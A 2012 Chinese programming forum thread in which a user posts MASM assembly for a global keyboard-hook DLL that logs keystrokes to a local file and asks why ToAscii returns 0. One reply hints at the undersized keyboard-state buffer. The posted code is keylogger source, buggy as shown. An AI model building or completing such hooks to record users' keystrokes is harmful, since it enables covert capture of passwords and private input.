shadowxh 发表于 2012-7-18 17:31:02

大家帮忙看看这个DLL

本帖最后由 shadowxh 于 2012-7-18 17:34 编辑

写了个全局钩子,用来记录按键并写入一个文件,可是发现无论怎么改,invoke ToAscii的返回值始终是0.。。。郁闷
好心人帮忙看看,感激不尽。代码如下:
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib
.data
hInstance    dd    ?
.data?
hHook    dd    ?
hFile    dd    ?
szAscii      db    4 dup (?)
lpNumWritten    dd    ?
.const
szFileName    db    '1.txt',0
.code
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;dll入口点
DllEntry proc _hInstance,_dwReason,_dwReserved
   
    push _hInstance
    pop hInstance
    mov eax,_dwReason
    .if eax==DLL_PROCESS_ATTACH
      invoke CreateFile,offset szFileName,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,0
      .if eax
      mov hFile,eax
      mov eax,TRUE
      ret
      .endif
    .elseif eax==DLL_PROCESS_DETACH
      invoke CloseHandle,hFile
      mov eax,TRUE
      ret
    .else
      mov eax,TRUE
      ret
    .endif
    ret
DllEntry endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;钩子回调函数
ProcHook proc _dwCode,_wParam,_lParam
    LOCAL @szKeyBoardState:byte
    mov eax,_lParam
    shr eax,31
    .if eax
      invoke CallNextHookEx,hHook,_dwCode,_wParam,_lParam
      invoke GetKeyboardState,addr @szKeyBoardState
      invoke GetKeyState,VK_SHIFT
      mov @szKeyBoardState+VK_SHIFT,al
      mov ecx,_lParam
      shr ecx,16
      invoke ToAscii,_wParam,ecx,addr @szKeyBoardState,addr szAscii,0
      mov byte ptr szAscii ,0
      invoke WriteFile,hFile,addr szAscii,sizeof szAscii,offset lpNumWritten,0
    .endif
    ret

ProcHook endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;钩子安装函数
InstallHook proc
   
    invoke SetWindowsHookEx,WH_KEYBOARD,offset ProcHook,hInstance,0
    mov hHook,eax
    ret

InstallHook endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;钩子卸载函数
UninstallHook proc
   
    invoke UnhookWindowsHookEx,hHook
    ret

UninstallHook endp
end DllEntry


大头石 发表于 2012-7-19 14:31:27

    LOCAL @szKeyBoardState:byte
   mov eax,_lParam
   shr eax,31
这里可能有点问题

shadowxh 发表于 2012-7-19 15:16:48

LOCAL @szKeyBoardState:byte
   mov eax,_lParam
   shr eax,31
这里可能有点问题
为什么?
页: [1]
查看完整版本: 大家帮忙看看这个DLL